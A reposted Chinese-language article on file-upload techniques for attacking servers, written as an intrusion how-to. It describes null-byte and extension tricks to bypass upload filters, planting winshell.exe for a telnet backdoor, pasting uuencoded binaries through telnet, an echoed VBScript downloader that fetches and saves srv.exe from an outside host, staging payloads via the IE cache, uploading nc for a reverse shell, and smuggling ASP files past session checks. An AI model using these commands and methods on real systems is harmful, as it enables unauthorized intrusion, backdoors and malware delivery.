<menu id="ocigx"><listing id="ocigx"><em id="ocigx"></em></listing></menu><em id="ocigx"><track id="ocigx"><strong id="ocigx"></strong></track></em>
<ins id="ocigx"></ins>

<samp id="ocigx"></samp>

<mark id="ocigx"><ruby id="ocigx"><legend id="ocigx"></legend></ruby></mark><bdo id="ocigx"></bdo>
      <kbd id="ocigx"></kbd>
      首頁 > 服務器 > Ftp服務器 > 正文

      文件上傳技巧

      2018-10-16 21:25:50
      字體:
      來源:轉載
      供稿:網友

      文件上傳是很早以前的事了,最早那會常用的就是IPC連接,然后一個一個的COPY,自從動網upfile漏洞出來以后,各種腳本系統如PHP.JSP下的文件漏洞紛紛暴出,原理都是大同小異,沒有過濾文件上傳路徑,導致可以抓包然后把空格20改成00,變成空字符NULL,系統是從右往左識別的,所以到空字符那就截斷了,更簡單的就是過濾文件上傳類型不完整,改后綴就可以解決了,這些上傳文件的漏洞,用萬能上傳工具就可以輕松搞定,不過漏洞文件名不同罷了。

      還有一些另類的文件上傳方法,是在系統做了比較好的防范下完成的,資料來源感謝CD-LION提供一。

      先COPY個winshell.exe吧,開個telnet端口,命令行下總比在瀏覽器里方便啊.

      copy //myIP/c$/tools/winshell.exe d:/downloads/winzip32 已復制一個文件
      啟動它 d:/downloads/winzip32/winshell.exe 瀏覽器窗口會停好久,
      不用等的,程序已經啟動了,點停止,接著,
      斷開共享連接: net use //myIP/c$ /del 完成
      1利用telnet上傳文件 by :jiangyf@usa.net 

      如果ftp被關了,sendmail也不行,如何把編譯好的文件上傳到主機呢? 
      方法很簡單: 
      1.先把要上傳的文件用uuedcode進行編碼,文件會變成大概下面的樣子: 
      begin 644 file.bat 
      M.C!J95@T92TP,#503U!=:%=E6#5D9%!>,2Q&1D9&1C$L1D9&,2PT4%]J 
      M95@T85!9+7@M04%28#!@*CTP,’500D])04%!049+04]"4$E$34-"04Q%04I- 
      M3D-"2D%,24%!14U-3D-"1D5’24=&0T%%3D="1T1(0T=02$=’2DA#2$9(1$-! 
      M1TI(1$-!1T1’4$=.1TI’3T=(0T%#3T-/0T]#3T-/0T]!3D%+0T5!07%Q<7$@ 
      M"D!%0TA/($]&1B`*0T]062`E,"Y"050@+T(@0SI<0D%45DE2+D-/32`O0B`O 
      E62`*0SI<0D%45DE2+D-/32`*1$5,($,Z7$)!5%9)4BY#3TT@"@`` 

      end 
      sum -r/size 17903/262 
      全部都是可見的ASCII字符了 

      2.用TELNET連接到主機后輸入 
      $ cat >a 
      然后用WINODWS的拷貝/粘貼,把文件粘貼到telnet窗口 
      按^d 
      在當前目錄下產生文件a
      3.uudecode a 
      文件復原,然后chmod即可 

      3腳本是非常好的東西,只要把源碼保存到一個文件中就能運行。所以在shell下,用 
      echo語句直接寫到一個文件中,在用相應的解釋程序執行就可以啦。這里是一個程序 
      實例的簡化: 
      echo Set xPost = CreateObject("Microsoft.XMLHTTP") >167168.vbs 
      echo xPost.Open "GET","http://167168.meibu.com/srv.exe";;,0 >>167168.vbs 
      echo xPost.Send() >>167168.vbs 
      echo Set sGet = CreateObject("ADODB.Stream") >>167168.vbs 
      echo sGet.Mode = 3 >>167168.vbs 
      echo sGet.Type = 1 >>167168.vbs 
      echo sGet.Open() >>167168.vbs 
      echo sGet.Write(xPost.responseBody) >>167168.vbs 
      echo sGet.SaveToFile "srv.exe",2 >>167168.vbs 
      然后執行cscript 167168.vbs就可以啦.其中,http://167168.meibu.com/srv.exe改成你放 
      文件的網站路徑,srv.exe可以改成保存文件的路徑。 

      4.start its:http://167168.meibu.com/ca.rar (看清楚,小心論壇自動加的標簽) 
      cd "C:/Documents and Settings/Default User/Local Settings/Temporary Internet Files/Content.IE5/" (假設系統裝在c盤,且當前環境是SYSTEM。如果是用戶環境,修改Default User為該用戶名) 
      dir /s ca[1].rar 
      然后會顯示ca[1].rar的具體位置,比如C:/Documents and Settings/Default User/Local Settings/Temporary Internet Files/Content.IE5QMVC11H/ca[1].rar 
      最后: 
      copy 0QMVC11H/ca[1].rar c:/winnt/system32/ca.rar 
      del 0QMVC11H/ca[1].rar 

      還有可以用EXE2BAT轉換成批處理,再上傳,這種方法只限于小文件,文件太長粘貼時會出錯,傳個NC做反向連接是不錯的選擇。
      最近我還遇見一種校友錄系統,只有注冊后再能上傳照片(SESSION),我注冊后發現可以上傳任意文件,可是只能解析圖片類型的后綴,這種情況應該是在服務端又加了一層JSP認正,如果用本地提交可以繞過JSP認正,可是沒有登陸,第一層SESSION驗證就不會通過了,上傳思路是把ASP文件改成JPG后綴上傳,然后抓包,這里的數據包已經包含SESSION值了,再修改后綴為ASP,用NC提交,原理就是這樣,具體測試在進行中..

      發表評論 共有條評論
      用戶名: 密碼:
      驗證碼: 匿名發表